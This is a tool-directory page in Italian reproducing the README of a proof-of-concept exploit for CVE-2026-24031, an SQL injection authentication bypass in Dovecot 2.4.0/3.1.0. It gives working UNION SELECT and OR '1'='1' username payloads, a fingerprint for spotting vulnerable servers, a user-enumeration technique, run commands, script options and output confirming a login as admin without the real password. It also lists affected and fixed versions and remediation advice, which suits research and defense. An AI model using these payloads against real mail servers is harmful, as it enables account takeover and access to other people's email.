Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24031 — PoC Python autonomo per il bypass dell'autenticazione SQL di Dovecot: accede come qualsiasi utente senza la password reale ed enumera i nomi utente sui server IMAP/POP3 vulnerabili 2.4.0/3.1.0. | Kitploit
Strumenti/GitHubGitHub/aramosf/cve-2026-24031
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitRaccolta InformazioniPenetration TestingSicurezza EmailSicurezza dei Database
GitHubaramosf/cve-2026-24031

CVE-2026-24031

PoC Python autonomo per il bypass dell'autenticazione SQL di Dovecot: accede come qualsiasi utente senza la password reale ed enumera i nomi utente sui server IMAP/POP3 vulnerabili 2.4.0/3.1.0.

Vedi Repository
218 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-24031: bypass dell'autenticazione SQL di Dovecot (bypass dell'autenticazione + enumerazione utenti)

CVE-2026-24031 live exploit

Questo repository contiene un exploit proof-of-concept per il bypass dell'autenticazione di CVE-2026-24031, un'iniezione SQL nell'autenticazione basata su SQL di Dovecot, introdotta come regressione in Dovecot 2.4.0 / 3.1.0. Nel lab Docker testato (Dovecot 2.4.0 + PostgreSQL), la PoC effettua l'accesso come qualsiasi utente senza conoscerne la password reale e può anche enumerare gli utenti.

Avvertenza

Questa PoC esegue un bypass dell'autenticazione senza credenziali contro un server di posta. Usala solo contro un lab di tua proprietà o contro target che sei esplicitamente autorizzato a testare. Non modifica lo stato del server, ma esercita il meccanismo di autenticazione e potrebbe lasciare voci di login falliti nei log.

Riepilogo della vulnerabilità

L'autenticazione basata su SQL di Dovecot è vulnerabile quando l'amministratore svuota la direttiva di configurazione auth_username_chars (la imposta a un valore vuoto). Normalmente auth_username_chars agisce come un filtro di input che limita quali caratteri sono consentiti in un nome utente prima che il nome utente venga interpolato nella query SQL della passdb.

Con auth_username_chars = vuoto, il valore viene passato alla query senza sql_escape_string(). Un nome utente appositamente creato contenente metacaratteri SQL diventa quindi parte della query:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

Il seguente payload fa sì che la query restituisca una riga per VICTIM con una password scelta dall'attaccante:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} viene interpretato da Dovecot (non dal database), quindi lo schema della password viene gestito nativamente e il trucco funziona su pgsql, mysql, mariadb e sqlite. L'invio di 12345 come password corrisponde quindi, producendo LOGIN OK come VICTIM senza conoscere la password reale.

La query risultante è:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

Versioni interessate e corrette

Si tratta di una regressione introdotta in Dovecot 2.4.0, presente anche in 3.1.0. Le release precedenti 2.2.x / 2.3.x applicano l'escape al nome utente e non sono vulnerabili. La vulnerabilità è corretta in 2.4.3 e 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).

La vulnerabilità si applica solo quando tutte queste condizioni sono vere:

  • Dovecot 2.4.0 o 3.1.0;
  • una passdb SQL (driver = sql) che usa pgsql, mysql, mariadb o sqlite;
  • auth_username_chars = (vuoto) — la condizione scatenante impostata dall'amministratore;
  • raggiungibilità di rete del servizio IMAP / POP3 / ManageSieve (con o senza TLS).

La PoC è stata validata contro Dovecot 2.4.0 (tag di rilascio ufficiale, daeb6bc5) + PostgreSQL.

Processo di sfruttamento

1. Rilevare la condizione di mancato escape

Autenticati con nome utente ' OR '1'='1' -- e una password arbitraria. Su un server vulnerabile la query viene alterata, quindi Dovecot restituisce a1 NO [UNAVAILABLE] Temporary authentication failure. invece del classico AUTHENTICATIONFAILED. Questa è l'impronta che il nome utente ha raggiunto la query SQL senza escape.

2. Bypass dell'autenticazione con UNION SELECT

Autenticati con nome utente:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

e password 12345. La riga UNION sovrascrive la colonna password per VICTIM e {PLAIN} viene interpretato da Dovecot, quindi il controllo della password riesce.

3. Enumerazione degli utenti

Poiché la forma del risultato della query differisce tra "utente esistente" e "utente inesistente" (numero di righe e stato della risposta), il server rivela se un nome utente esiste. Questo funziona contro ogni backend interessato.

Build ed esecuzione della PoC

La PoC è uno script Python 3 autonomo (sola libreria standard). Avvia il lab vulnerabile ed esegui l'exploit:

root@kitploit:~
./run.sh

run.sh compila e avvia il lab Docker (lab/docker-compose.yml), attende IMAPS su 127.0.0.1:14193, quindi esegue la PoC. Il lab compila Dovecot 2.4.0 dal tarball di rilascio ufficiale con una configurazione volutamente vulnerabile e un database PostgreSQL.

Passaggi manuali equivalenti:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

Opzioni della PoC:

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)

Il database del lab popola questi utenti: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass e victim/supersecret. La PoC impersona admin senza conoscerne la password.

Risultati riprodotti

La PoC è stata validata end-to-end nel lab Docker. La password reale dell'utente admin è admin123; la PoC effettua l'accesso come admin usando 12345.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

Il transcript completo ripulito, incluse le fasi di controllo legittimo e di rilevamento della mancata escape, si trova in docs/example-output.txt.

Demo

La demo animata all'inizio di questo README (assets/CVE-2026-24031.gif) è stata registrata da una sessione reale contro il lab in esecuzione. Rigenerala con:

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

demo.sh guida la dimostrazione dal vivo; demo.cast è la registrazione asciinema grezza usata per generare la GIF.

Correzione

L'advisory (OXDC-ADV-2026-0001, DOV-8781) è già stato rilasciato upstream; Dovecot 2.4.3 / 3.1.4 applica l'escape al nome utente prima di interpolarlo nella query SQL. La correzione quindi non è duplicata in questo repository. L'indurimento consigliato è non svuotare mai auth_username_chars, oppure aggiornare a una release corretta.

Riferimenti

  • Record CVE ufficiale (CVEProject cvelistV5)
  • Record su cve.org
  • Advisory di sicurezza Dovecot OXDC-2026-0001 (dovecot.org)
  • Tarball di rilascio di Dovecot 2.4.0

Scoperta della vulnerabilità: whisperer@yeswehack. Ricerca e implementazione dell'exploit: A. Ramos <[email protected]> (Twitter: @aramosf).

Informazioni

CVE-2026-24031 PoC per il bypass dell'autenticazione SQL di Dovecot (bypass dell'autenticazione + enumerazione utenti)

Scarica lo strumento
LineaStato
Dovecot 2.2.xNon interessato (il nome utente viene sottoposto a escape)
Dovecot 2.3.xNon interessato (il nome utente viene sottoposto a escape)
Dovecot 2.4.0Vulnerabile (regressione: nome utente non sottoposto a escape)
Dovecot 2.4.3+Corretto (il nome utente viene sottoposto a escape)
Dovecot 3.1.0Vulnerabile (stessa regressione)
Dovecot 3.1.4+Corretto (il nome utente viene sottoposto a escape)